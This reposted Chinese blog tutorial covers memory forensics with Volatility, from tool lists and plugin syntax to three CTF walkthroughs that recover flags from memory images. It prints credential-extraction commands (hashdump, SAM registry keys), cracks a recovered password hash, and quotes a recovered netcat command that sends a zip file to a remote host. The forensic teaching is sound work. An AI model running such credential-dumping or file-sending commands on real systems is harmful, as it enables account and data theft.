我是靠谱客的博主 潇洒抽屉,最近开发中收集的这篇文章主要介绍linux 内存取证_浅谈网络安全之内存取证,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

0e24777a2569dad71091be9ed64a4581.png

沙漏安全团队

欢迎真正热爱技术的你!

简介: 网络与信息技术的加速渗透和深度应用以及软件漏洞不断涌现,导致网络攻击和网络犯罪频发,造成了严重的网络安全威胁.计算机取证是打击计算机与网络犯罪的关键技术,其目的是将犯罪者留在计算机中的“攻击痕迹”提取出来,作为有效的诉讼证据提供给法庭,以便将犯罪嫌疑人绳之以法。作为一种实时提取数字证据、对抗网络攻击、打击网络犯罪的有力武器,内存取证已成为信息安全领域研究者所共同关注的热点。


基于硬件的内存获取内存的获取方法:

  1. 基于软件的内存获取

Windows操作系统平台支持内存获取的常见工具有:

DumpIt (早期版本名为Win32dd)
Belkasoft RAMCapturer
Magnet RAM Capture
WinEn
Winpmem
EnCase Imager
FTK Imager
取证大师
取证神探

Linux操作系统常见的内存获取工具:

dd (适合Linux早期版本)
LiME http://code.google.com/p/lime-forensics/
linpmem
Draugr http://code.google.com/p/draugr/
Volatilitux http://code.google.com/p/volatilitux/
Memfetch http://lcamtuf.coredump.cx/
Memdump

MacOSX操作系统内存获取工具有:

MacMemoryReader
osxpmem
Recon for Mac OSX
Blackbag MacQuisitio

得到内存之后就是最重要的一步,就是内存取证分析。

内存分析技术
Windows操作系统获取出的物理内存镜像需要使用专门的内存分析工具。常见的内存分析工具有Volatility、Rekall、Forensic Toolkit(FTK)、取证大师及取证神探等,可以解析出常见的基本信息,包括进程信息、网络连接、加载的DLL文件及注册表加载信息等。

在这里笔者使用的是volalitity取证工具(新版本的kail好像已经没有这个软件,需要自行下载)

常用插件:
imageinfo:显示目标镜像的摘要信息,知道镜像的操作系统后,就可以在 –profile 中带上对应的操作系统
pslist:该插件列举出系统进程,但它不能检测到隐藏或者解链的进程,psscan可以
psscan:可以找到先前已终止(不活动)的进程以及被rootkit隐藏或解链的进程
pstree:以树的形式查看进程列表,和pslist一样,也无法检测隐藏或解链的进程
mendump:提取出指定进程,常用foremost 来分离里面的文件
filescan:扫描所有的文件列表
hashdump:查看当前操作系统中的 password hash,例如 Windows 的 SAM 文件内容
svcscan:扫描 Windows 的服务
connscan:查看网络连接

Volatility语法规则

python2 vol.py --help //使用-h或者–help可以列举出所有可用的选项以及插件

fef1e243c17e86b4b6e5dde7af5cb529.png

python2 vol.py --info //–info可以打印出所有已经注册的对象(插件)

b931a0d8a11dc837604594912a15ab84.png

Profiles对于windows的内存取证来说至关重要。

Profiles(配置文件)

profile是特定操作系统版本以及硬件体系结构(x86,x64,ARM)中VTypes,共用体,对象类型的集合.除了这些组件以外,profile还包括如下:

元数据:操作系统的名称(例如:”windows”,”mac”,”linux”),内核版本,以及编译号. 
系统调用信息:索引以及系统调用的名称 
常量值:全局变量-在某些操作系统中能够在硬编码的地址处找到的全局变量 
系统映射:关键全局变量和函数的地址(仅限Linux和Mac)

每个profile(配置文件)有个一个唯一的名称,通常是由操作系统的名称,版本,服务包,系统结构等信息组成.例如:Win7SP1x64是64位的Windows 7 SP1系统配置文件的名称。

常规命令格式

python2   vol.py  -f   --profile=    [插件参数]

栗子:

 python vol.py -f lemon.raw --profile=Win7SP1x86 volshell

但是--profile如何确定配置文件呢?

如果我们不指定–profile这个选项的话,默认这个选项为WinXPSP2x86.

我们可以使用imageinfo插件来猜测dump文件的profile值.

python2 vol.py -f lemon.raw imageinfo

43bdef0292e09d7b6213f8261b9a5cfd.png

我们可以注意到这里有多个profile值可选.因为这些操作系统的很多特性都是类似的.imageinfo这个插件猜测profile值的功能是基于kdbgscan这个插件的功能来实现的.而kdbgscan这个插件是通过查找分析内核调试器数据块(_KDDEBUGGER_DATA64)的特征来猜测profile值的。

调试器数据结构位于NT内核模块中(nt!KdDebuggerDataBlock).它包含一个编译字符串,比如:3790.srv03_sp2_rtm.070216-1710,数字值指明了目标操作系统的主,次版本号以及服务包号。

kdbgscan插件扫描dump文件的profile值

3bc2401078e9f0362d9d56e37bf4876a.png

可以看到有多个结果,通常来说第一个结果是正确的.imageinfo,kdbgscan这两个插件仅适用于Windows系统的内存dump文件.而Linux,Mac确定正确的profile值有其他的方法.

现在我们就可以指定profile这个选项的值了.

python2 vol.py -f 1emon.raw --profile=Win7SP1x86_23418
volshell


volshell这个插件用于进入Volatility专属的shell.在该shell中可以利用dt(“内核关键数据结构名称”)命令来查看操作系统内核关键数据结构的定义

列举进程

python2 vol.py -f 1emon.raw --profile=Win7SP1x86_23418
pslist
973826ac8caeeee6ce717b6c7627a553.png

开始时间进程数,占用进程名称.但是pslist这个命令无法显示出隐藏的进程。

查看当前显示的notepad文本python2 vol.py -f file.raw --profile=WinXPSP2x86 notepad
进程里面可能会隐藏flag等关键信息,可以使用以下命令查看dumpstrings -e l 252.dmp | grep flag
-e的参数为编码方式,其中l为16-bit编码
扫描所有的文件列表(常常结合grep)python2 vol.py -f file.raw --profile=WinXPSP2x86 filescan
根据offset提取出文件python2 vol.py -f file.raw --profile=WinXPSP2x86 dumpfiles -D . -Q 0x…..
扫描 Windows 的服务python2 vol.py -f file.raw --profile=WinXPSP2x86 svcscan
查看网络连接python2 vol.py -f file.raw --profile=WinXPSP2x86 connscan
查看命令行上的操作python2 vol.py -f file.raw --profile=WinXPSP2x86 cmdscan
根据pid dump出相应的进程python2 vol.py -f file.raw --profile=WinXPSP2x86 memdump -p 2580 -D 目录 //-p的参数为进程ID-D的参数为保存文件的路径
查看网络通讯连接python2 vol.py -f file.raw --profile=WinXPSP2x86 netscan
查看最后关机时间python2 vol.py -f file.raw --profile=WinXPSP2x86 shutdowntime
查看Windows帐户hashpython2 vol.py -f file.raw --profile=WinXPSP2x86 hashdump

进程里面可能会隐藏flag等关键信息,可以使用以下命令查看dump

strings -e l 252.dmp | grep flag //-e的参数为编码方式,其中l为16-bit编码

列举注册表
volatility -f 1.raw --profile=Win7SP1x86 hivelist

导出注册表volatility -f 1.raw --profile=Win7SP1x86 hivedump -o 0x93fc41e8(注册表的 virtual 地址)

获取浏览器浏览历史
volatility -f 1.raw --profile=Win7SP1x86 iehistory

扫描文件
volatility -f 1.raw --profile=Win7SP1x86 filescan | grep flag //filescan会扫描内存中所有文件

如果要提取的话,使用dumpfiles提取文件volatility -f 1.raw --profile=Win7SP1x86 dumpfiles -Q 0x000000003e71e608 --dump-dir=./
-Q的参数为 内存地址
--dump-dir的参数为导出文件的目录

列举用户及密码
volatility -f 1.raw --profile=Win7SP1x86 printkey -K "SAMDomainsAccountUsersNames"

获取最后登陆系统的用户

volatility -f 1.raw --profile=Win7SP1x86 printkey -K "SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon"

上面的命令就不详细的操作了。

下面开始做一些题,以练促学。

V&N 2020 公开赛 内存取证

下载raw文件,拉进kail

3a211391cd17115519b7e87a234fe645.png

得到镜像信息。

查看进程

eca864c087bff7e8e1f2a58751bcedcc.png

有几个可疑的进程

Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0x83c0ad40 TrueCrypt.exe 3364 3188 7 388 1 0 2020-02-18 19:52:44 UTC+0000
0x837f5d40 notepad.exe 3552 1964 2 61 1 0 2020-02-18 19:53:07 UTC+0000
0x82a7e568 iexplore.exe 3640 1964 16 468 1 0 2020-02-18 19:53:29 UTC+0000
0x847c8030 iexplore.exe 3696 3640 25 610 1 0 2020-02-18 19:53:29 UTC+0000
0x848a7030 mspaint.exe 2648 1964 18 383 1 0 2020-02-18 19:54:01 UTC+0000
0x83922030 DumpIt.exe 1500 1964 2 39 1 0 2020-02-18 19:56:22 UTC+0000

TrueCrypt 一个磁盘软件
notepad 万能的记事本
iexplore 浏览器
mspaint 画图
DumpIt 内存读取工具

python2 vol.py -f mem.raw --profile=Win7SP1x64 memdump -p 2648 -D ./

换个思维想,谁又会无端打开画图工具,我们先把可疑的进程都dump下来。

又查看了浏览器的历史记录

6ee0d0201dea58b13147b07b6b772cb2.png

得到一个云盘链接,应该是那个VOL的下载链接吧!

在前面我们讲画图程序dump下来了,改一下后缀2648.dmp为2648.data。

然后用gimp配合使用。

47966cc3cb5e2190890ae55836819e01.png

得到一个字符串1YxfCQ6goYBD6Q

然后用命令对记事本的内容进行dump

python2 vol.py -f mem.raw --profile=Win7SP1x86_23418 editbox
a2bcdf5d9fd781b845a33344dbb86efe.png

得到了云盘链接和提取码,下载是个VOL文件。

接下来用工具EFDD

a4893703bd409cdd3eef646cb451846f.png
第一步
2cb31c1f93e47b1d2acf6e6ee1d0863b.png
第二步
ad341e4b31f8b0f11cdd74c5b3de027e.png
第三步
61e2b71a80fcd4ded2203a5dd8e5bf11.png
第四步
818f73c81107d0354f1581c1c445f2bf.png
第五步
66991ee6a6bda864cf0457d46c585074.png
第四步
549e8148d4c98ded674f5f61af981107.png
已经成功挂载F盘了

访问F盘

35a0a1240f2bcc8abded49ed3c39fa7a.png

得到了一串字符。

下一步就是使用TrueCrypt

07c7e231cf2a467c3d063760f1e506d7.png

将刚刚key里的字符串输入进去,挂载成功。

e6d6c2148a4bbef1534eafb8a34adf0f.png

画图得到的字符串就是密码

d39dd7eb38a5a88af37c142c49e7397b.png

得到了flag。、

不得不说套娃真的是服了。

easy_dump

6188edb9c57a80b14911c6265827b2f5.png

查看一下信息。

列出进程。

查看一下有没有可疑的进程,然后dump下来。

这里我将记事本dump下来。

python2 vol.py -f easy_dump.img --profile=Win7SP1x64 memdump -p 2616 -D ./

然后再用命令:strings -e l 2616.dmp | grep "flag"

去2616里找flag。

0f972d46d6743ba747a74ebeeff76741.png

flag没有但是有奇怪的照片。

python2 vol.py -f easy_dump.img --profile=Win7SP1x64 filescan | grep "jpg"

去找jpg图片

637b3441cf5c2201273db49de57615cf.png

使用命令:python2 vol.py -f easy_dump.img --profile=Win7SP1x64 dumpfiles -Q 0x000000002408c460 -D ./

将图片dump下载过来。

打开也没什么东西。

e171ec0d61ba83fa02e30f5ff3a4c401.png

binwalk看一下发现里面还有一个zip文件。

那麽就用foremost将其分离出来。

6a88d9b0b6f2220798f00cba75491c44.png

分离出来还是打不开。

再次使用foremost却没有成功,试了一下binwalk分离,成功的得到了hints.txt文件。

16d5b881205e41f4cbde89735c3858be.png

类似于坐标。

import matplotlib.pyplot as plt
import numpy as np

x = []
y = []
with open('hint.txt','r') as f:
datas = f.readlines()
for data in datas:
arr = data.split(' ')
x.append(int(arr[0]))
y.append(int(arr[1]))

plt.plot(x,y,'ks',ms=1)
plt.show()

脚本转换。

5f111a31f5595d2f62a9aa90a3b225af.png

手机扫了以下,主要内容key:aeolus,但是他把加密文件删除了。

这里使用testdisk这个工具(kali自带)来恢复被删除的文件。

输入:testdisk xxx 即可进入软件内部操作
Proceed:继续
Quit:退出,关闭

[ Analyse ] 分析正确的分区结构并找到丢失的分区表
[ Advanced ] 文件系统工具
[ Geometry ] 更改硬盘类型
[ Options ] 修改高级选项
[ Quit ] 返回到硬盘检测

[ Type ] :改变文件系统的类型,这种修改并不会真正改变硬盘上的真正格式。
[Superblock] :列出超级块,这是文件系统的基本元数据。
[ List ] :列出所有文件,并复制(恢复)出来
[Image Creation] :对当前分区创建镜像文件
[ Quit ]:退出,返回

红色文件就表示已经删除的文件。当然你也可以选择一个红色的目录,表示恢复整个目录。

最终找到了被删除的文件

6d49824fec08ce6520e9dc7199651347.png

选择红色文件,小写c选择导出路径。

6ea39d374b6965d91338946539c0d4ba.png

成功导出。

75e89e21a526771b39c3ab7e9e60d49b.png

维吉尼亚解密字符串yise!dmsx_tthv_arr_didvi就可以得到flag。

ca0aa1755d527089cd615a48bedf7d9e.png

内存取证三项CTF

5ca162c0bcba5c6391424ac99e5a4314.png

题目说明了是取证题。

python2 vol.py -f 1.raw imageinfo      //查看配置信息
28cba3dead238506724c62a2ba385249.png

第一问写的什么,那就打开记事本

python2 vol.py -f 1.raw --profile=WinXPSP2x86 notepad

得到文本:666C61677B57336C6563306D655F376F5F466F72336E356963737D

观察只有0-9,字母最多知道F,十六进制(base16),可能是base16

fa2766c87dde5c793974f4ebead18b1f.png

第一问解决。

小白的密码,我们可以使用hashdump查看

python2 vol.py -f 1.raw --profile=WinXPSP2x86 hashdump
0e18702c87c4f05cde59cd8475c843c2.png

对:1e581aafa474dfadfdf83fc31e4fd4ea解密。

flag{19950101}

机密文件是什么?

小白的电脑给小黑的电脑发送了文件,肯定会建立连接。

python2 vol.py -f 1.raw --profile=WinXPSP2x86 connscan
3282b9c423d76cc2d45023299d1cc4cf.png

本机192.168.57.21的1045与远程主机192.168.57.14的2333端口建立了连接,进程120.

python2 vol.py -f 1.raw --profile=WinXPSP2x86 pslist

列出进程。

fa8b7daa35f3e41bbb6ff5c0387123a4.png

cmd进程也有

python2 vol.py -f 1.raw --profile=WinXPSP2x86 cmdscan    //提取cmd命令记录
bf038eff7eb982ec669c7753fada6d44.png

第一个命令就有问题了。

ipconfig
cd C:Program FilesNetcat
nc 192.168.57.14 2333 < P@ssW0rd_is_y0ur_bir7hd4y.zip

发送了一个压缩包。

python2 vol.py -f 1.raw --profile=WinXPSP2x86 memdump -p 120 -D ./

使用命令dump下来,并用binwalk 分析一下

a6606d0ee6c9208055e73956adccedf0.png

里面还有个txt文本

2012dc1389e9e0886669409b6acd8516.png

还有六个压缩包。

进output文件夹里 ls

解压第一个文件时提示需要密码

dc40287de3039acdbe485dd8320cf4d6.png

用刚刚的弱口令出生年月就可以解压得到P@ssW0rd_is_y0ur_bir7hd4y.txt

flag{Thi5_Is_s3cr3t!}

内存取证就结束了,以后加油!

  870fe996f6ff2639387115f9b3910409.png  

平顶山学院· 沙漏安全团队

    微信号|SLteam666

奋发努力|拼搏向上   

本期编辑|bosounho

最后

以上就是潇洒抽屉为你收集整理的linux 内存取证_浅谈网络安全之内存取证的全部内容,希望文章能够帮你解决linux 内存取证_浅谈网络安全之内存取证所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(46)

评论列表共有 0 条评论

立即
投稿
返回
顶部